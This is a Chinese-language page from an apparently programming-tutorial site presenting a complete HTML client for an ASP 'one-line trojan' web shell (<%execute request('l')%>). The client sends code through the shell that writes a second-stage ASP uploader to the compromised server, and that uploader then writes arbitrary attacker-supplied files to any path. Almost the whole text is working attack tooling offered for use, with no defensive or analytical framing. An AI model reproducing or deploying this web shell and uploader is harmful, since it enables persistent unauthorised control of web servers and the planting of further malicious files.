程式師世界 >> 編程語言 >> 網頁編程 >> ASP編程 >> 關於ASP編程 >> 一句話木馬連接客戶端

一句話木馬連接客戶端

編輯：關於ASP編程

<html> <title>一句話木馬連接客戶端 -- BY 寂寞的刺猬 @ 520000796</title> <p align="center">一句話木馬(<font color="#0000FF"><%execute request("l")%></font>) 的本地連接客戶端 </P> <P><form name="codeform" action="" method=post onsubmit="if (this.userurl.value.length<1){alert('請輸入URL地址!');this.userurl.focus();return false}else{this.action=this.userurl.value}"> </P> <P><p>ASP URL:<input style="WIDTH:70%" type="text" name="userurl" value="http://127.0.0.1/date/jmdcw.asp" /> <font color="#FF0000"> 生成asp頁名稱:</font> <textarea name=l cols=100 rows=7 width=36> set lP=server.createObject("Adodb.Stream") lP.Open lP.Type=2 lP.CharSet="gb2312" lP.writetext request("p") lP.SaveToFile server.mappath("jmup.asp"),2 lP.Close set lP=nothing response.redirect "jmup.asp" </textarea> <font color="#FF0000">上傳內容:</font> <textarea name=p cols=100 rows=7 width=36> <% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("syfdpath"))<>"" then %> <% fdata = request("cyfddata") %> <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %> <% objCountFile.Write fdata %> <% if err =0 then %> <% response.write "<font color=red>save Success!</font>" %> <% else %> <% response.write "<font color=red>Save UnSuccess!</font>" %> <% end if %> <% err.clear %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %> <% Response.write "<form action='' method=post>" %> <% Response.write "保存文件的<font color=red>絕對路徑(包括文件名:如D:\web\x.asp):</font>" %> <% Response.Write "<input type=text name=syfdpath width=32 size=50>" %> <% Response.Write " " %> <% Response.write "本文件絕對路徑" %> <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> <% Response.write " " %> <% Response.write "輸入馬的內容:" %> <% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %> <% Response.write "<input type=submit value=保存>" %> <% Response.write "</form>" %> </textarea> <center> <input type="submit" value="提交" /></form> </html>
[Ctrl+A 全選注:如需引入外部Js需刷新才能執行]